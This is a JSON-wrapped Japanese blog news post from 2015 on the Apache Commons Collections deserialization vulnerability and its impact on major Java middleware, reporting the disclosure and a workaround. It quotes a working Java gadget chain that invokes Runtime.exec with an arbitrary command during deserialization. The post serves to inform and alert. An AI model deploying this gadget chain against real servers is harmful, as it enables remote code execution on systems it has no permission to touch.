{"id":33922,"date":"2015-11-11T00:12:39","date_gmt":"2015-11-10T15:12:39","guid":{"rendered":"http:\/\/www.softantenna.com\/wp\/?p=33922"},"modified":"2015-11-11T01:26:31","modified_gmt":"2015-11-10T16:26:31","slug":"commons-cllection-vulnerability","status":"publish","type":"post","link":"https:\/\/softantenna.com\/blog\/commons-cllection-vulnerability\/","title":{"rendered":"Apache Commons Collections\u306b\u8106\u5f31\u6027\u3001\u4e3b\u8981\u30df\u30c9\u30eb\u30a6\u30a7\u30a2\u306b\u5f71\u97ff\u751a\u5927\u304b\uff1f"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/softantenna.com\/blog\/wp-content\/uploads\/2015\/11\/Is-2015-11-10-23.50.19.png\" alt=\"S 2015 11 10 23 50 19\" title=\"s 2015-11-10 23.50.19.png\" border=\"0\" width=\"545\" height=\"237\" \/><\/p>\n<p>FoxGlove Security\u306eStephen Breen\u6c0f\u304c11\u67086\u65e5\u3001Apache\u306e\u30e9\u30a4\u30d6\u30e9\u30ea\u300c<a href=\"https:\/\/commons.apache.org\/proper\/commons-collections\/\">Commons Collections<\/a>\u300d\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u6027\u3068\u691c\u8a3c\u30b3\u30fc\u30c9\u3092\u30d6\u30ed\u30b0\u3067\u516c\u958b\u3057\u307e\u3057\u305f(<a href=\"http:\/\/foxglovesecurity.com\/2015\/11\/06\/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability\/\">FoxGlove Security<\/a>\u3001<a href=\"http:\/\/www.itmedia.co.jp\/enterprise\/articles\/1511\/10\/news053.html\">ITmedia<\/a>\u3001<a href=\"http:\/\/security.srad.jp\/story\/15\/11\/10\/0611211\/\">\u30b9\u30e9\u30c9<\/a>)\u3002\u3053\u306e\u8106\u5f31\u6027\u306f9\u30f6\u6708\u524d\u304b\u3089\u516c\u958b\u3055\u308c\u3066\u3044\u305f\u3082\u306e\u3067\u3059\u304c\u3001\u672a\u3060\u4fee\u6b63\u7248\u306f\u516c\u958b\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002<\/p>\n<p>Commons Collections\u306f\u3001Java\u306e\u30b3\u30ec\u30af\u30b7\u30e7\u30f3\u30af\u30e9\u30b9\u3092\u3088\u308a\u4fbf\u5229\u306b\u5229\u7528\u3059\u308b\u305f\u3081\u306e\u30e9\u30a4\u30d6\u30e9\u30ea\u3067\u3001WebLogic\u3001WebSphere\u3001JBoss\u3001Jenkins\u3001OpenNMS\u306a\u3069\u591a\u6570\u306e\u30df\u30c9\u30eb\u30a6\u30a7\u30a2\u306b\u5f71\u97ff\u3092\u53ca\u307c\u3057\u307e\u3059\u3002<\/p>\n<p>\u8106\u5f31\u6027\u306f\u3001\u30c7\u30fc\u30bf\u3092\u30a2\u30f3\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3059\u308b\u3059\u308b\u969b\u306b\u4e0b\u8a18InvokerTransformer\u306b\u3088\u308a\u4efb\u610f\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u304c\u5b9f\u884c\u3055\u308c\u3066\u3057\u307e\u3046\u3068\u3044\u3046\u3082\u306e\u3067\u3001FoxGlove Security\u3067\u306fInvokerTransformer.class\u3092\u524a\u9664\u3059\u308b\u5bfe\u7b56\u304c\u7d39\u4ecb\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u65e5\u672c\u8a9e\u3067\u8aad\u3081\u308b\u60c5\u5831\u3068\u3057\u3066\u306f\u300c<a href=\"http:\/\/takahashikzn.root42.jp\/entry\/2015\/11\/10\/155319\">commons-collections\u306eInvokerTransformer\u8106\u5f31\u6027\u306b\u3064\u3044\u3066<\/a>\u300d\u3067\u8a73\u7d30\u306b\u89e3\u8aac\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<pre><code class=\"java\">public InvocationHandler getObject(final String command) throws Exception {\n    final String[] execArgs = new String[] { command };\n    \/\/ inert chain for setup\n    final Transformer transformerChain = new ChainedTransformer(\n        new Transformer[]{ new ConstantTransformer(1) });\n    \/\/ real chain for after setup\n    final Transformer[] transformers = new Transformer[] {\n            new ConstantTransformer(Runtime.class),\n            new InvokerTransformer(\"getMethod\", new Class[] {\n                String.class, Class[].class }, new Object[] {\n                \"getRuntime\", new Class[0] }),\n            new InvokerTransformer(\"invoke\", new Class[] {\n                Object.class, Object[].class }, new Object[] {\n                null, new Object[0] }),\n            new InvokerTransformer(\"exec\",\n                new Class[] { String.class }, execArgs),\n            new ConstantTransformer(1) };\n \n    final Map innerMap = new HashMap();\n \n    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);\n \n    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);\n \n    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);\n \n    Reflections.setFieldValue(transformerChain, \"iTransformers\", transformers); \/\/ arm with actual transformer chain    \n             \n    return handler;\n}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>FoxGlove Security\u306eStephen Breen\u6c0f\u304c11\u67086\u65e5\u3001Apache\u306e\u30e9\u30a4\u30d6\u30e9\u30ea\u300cCommons Collections\u300d\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u6027\u3068\u691c\u8a3c\u30b3\u30fc\u30c9\u3092\u30d6\u30ed\u30b0\u3067\u516c\u958b\u3057\u307e\u3057\u305f(FoxGlove Sec [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":33921,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"swell_btn_cv_data":"","footnotes":""},"categories":[75],"tags":[161,3349],"class_list":["post-33922","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-software","tag-apache","tag-commons"],"_links":{"self":[{"href":"https:\/\/softantenna.com\/blog\/wp-json\/wp\/v2\/posts\/33922","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/softantenna.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/softantenna.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/softantenna.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/softantenna.com\/blog\/wp-json\/wp\/v2\/comments?post=33922"}],"version-history":[{"count":0,"href":"https:\/\/softantenna.com\/blog\/wp-json\/wp\/v2\/posts\/33922\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/softantenna.com\/blog\/wp-json\/wp\/v2\/media\/33921"}],"wp:attachment":[{"href":"https:\/\/softantenna.com\/blog\/wp-json\/wp\/v2\/media?parent=33922"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/softantenna.com\/blog\/wp-json\/wp\/v2\/categories?post=33922"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/softantenna.com\/blog\/wp-json\/wp\/v2\/tags?post=33922"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}